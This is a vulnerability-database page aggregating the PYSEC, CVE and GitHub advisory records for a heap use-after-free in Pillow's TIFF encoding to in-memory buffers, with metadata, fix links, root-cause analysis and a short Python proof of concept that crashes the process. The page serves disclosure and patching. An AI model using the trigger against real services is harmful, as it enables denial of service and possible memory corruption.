Vulnerability-Lookup

PYSEC-2026-4328

Vulnerability from pysec - Published: 2026-10-19 22:17 - Updated: 2026-10-27 10:28

Details

Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impacted products

Name	purl
pillow	pkg:pypi/pillow

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow",
        "purl": "pkg:pypi/pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.3.0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "11.3.0",
        "12.0.0",
        "12.1.0",
        "12.1.1",
        "12.2.0",
        "12.3.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112396",
    "GHSA-4rr5-89j8-mwwm"
  ],
  "details": "Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.",
  "id": "PYSEC-2026-4328",
  "modified": "2026-10-27T10:28:06.687493Z",
  "published": "2026-10-19T22:17:06.837Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    },
    {
      "type": "FIX",
      "url": "https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

CVE-2026-112396 (GCVE-0-2026-112396)

Vulnerability from cvelistv5 – Published: 2026-10-19 21:02 – Updated: 2026-10-20 16:09

Title

Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer

Summary

Severity

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-20 15:10 UTC

CWE

CWE-416 - Use After Free

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7920 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/python-pillow/Pillow/security/…	x_refsource_CONFIRM
https://github.com/python-pillow/Pillow/commit/dc…	x_refsource_MISC
https://github.com/python-pillow/Pillow/releases/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
python-pillow	Pillow	Affected: >= 11.3.0, < 13.0.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-112396",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-20T15:10:26.056158Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-20T16:09:21.913Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Pillow",
          "vendor": "python-pillow",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 11.3.0, \u003c 13.0.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-416",
              "description": "CWE-416: Use After Free",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-19T21:02:15.197Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm"
        },
        {
          "name": "https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb"
        },
        {
          "name": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
        }
      ],
      "source": {
        "advisory": "GHSA-4rr5-89j8-mwwm",
        "discovery": "UNKNOWN"
      },
      "title": "Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-112396",
    "datePublished": "2026-10-19T21:02:15.197Z",
    "dateReserved": "2026-10-19T16:58:51.959Z",
    "dateUpdated": "2026-10-20T16:09:21.913Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-4RR5-89J8-MWWM

Vulnerability from github – Published: 2026-10-21 21:24 – Updated: 2026-10-21 21:24

Summary

Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer

Details

Summary

Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When TIFFWriteScanline fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, TIFFClose flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.

Details

The failure path in ImagingLibTiffEncode frees clientstate->data for the in-memory case but does not close the TIFF or null clientstate->tiff (the file-descriptor branch just above it does set tiff = NULL):

src/libImaging/TiffDecode.c:1041-1046

Teardown then calls ImagingLibTiffEncodeCleanup, which runs TIFFClose(tiff) because tiff is still set:

src/encode.c:99-101
src/libImaging/TiffDecode.c:955

TIFFClose flushes through _tiffWriteProc, which reallocs and memcpys into the freed state->data:

src/libImaging/TiffDecode.c:103-115

The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.

PoC

import io
from PIL import Image

# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3})  # 317 = Predictor

Run it:

$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96 with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports corrupted double-linked list instead of a segfault; both are the same write into freed memory.

Under AddressSanitizer (build with -fsanitize=address), relevant frames:

==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115
    #3 TIFFFlush                      libtiff.so.6
    #5 TIFFClose                      libtiff.so.6
    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955
    #7 _dealloc                       src/encode.c:100
freed by thread T0 here:
    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045
    #2 _encode                        src/encode.c:139
previously allocated by thread T0 here:
    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863
    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc

The buffer allocated in ImagingLibTiffEncodeInit is freed in ImagingLibTiffEncode, then written by _tiffWriteProc during the TIFFClose flush that runs from the encoder's _dealloc.

Impact

Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a BytesIO or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.3.0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T21:24:19Z",
    "nvd_published_at": "2026-10-19T22:17:06Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nSaving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.\n\n### Details\nThe failure path in `ImagingLibTiffEncode` frees `clientstate-\u003edata` for the in-memory case but does not close the TIFF or null `clientstate-\u003etiff` (the file-descriptor branch just above it does set `tiff = NULL`):\n\n- `src/libImaging/TiffDecode.c:1041-1046`\n\nTeardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:\n\n- `src/encode.c:99-101`\n- `src/libImaging/TiffDecode.c:955`\n\n`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state-\u003edata`:\n\n- `src/libImaging/TiffDecode.c:103-115`\n\nThe Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.\n\n### PoC\n```python\nimport io\nfrom PIL import Image\n\n# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer\n# data, so TIFFWriteScanline fails. The encoder frees clientstate-\u003edata but leaves the\n# TIFF open; cleanup\u0027s TIFFClose then writes through the callback into the freed buffer.\nim = Image.new(\"L\", (64, 64))\nbuf = io.BytesIO()\nim.save(buf, format=\"TIFF\", compression=\"tiff_lzw\", tiffinfo={317: 3})  # 317 = Predictor\n```\n\nRun it:\n```\n$ python 01_poc.py\nPredictorSetup: Floating point \"Predictor\" not supported with 1 data format.\nOSError: encoder error -2 when writing image file\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.\n\nUnder AddressSanitizer (build with `-fsanitize=address`), relevant frames:\n```\n==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804\nWRITE of size 4 at 0x7ef737b48804 thread T0\n    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115\n    #3 TIFFFlush                      libtiff.so.6\n    #5 TIFFClose                      libtiff.so.6\n    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955\n    #7 _dealloc                       src/encode.c:100\nfreed by thread T0 here:\n    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045\n    #2 _encode                        src/encode.c:139\npreviously allocated by thread T0 here:\n    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863\n    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757\nSUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc\n```\nThe buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder\u0027s `_dealloc`.\n\n### Impact\nUse-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.",
  "id": "GHSA-4rr5-89j8-mwwm",
  "modified": "2026-10-21T21:24:19Z",
  "published": "2026-10-21T21:24:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112396"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer"
}

Sightings

Author	Source	Type	Date	Other

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PYSEC-2026-4328

CVE-2026-112396 (GCVE-0-2026-112396)

GHSA-4RR5-89J8-MWWM

Summary

Details

PoC

Impact

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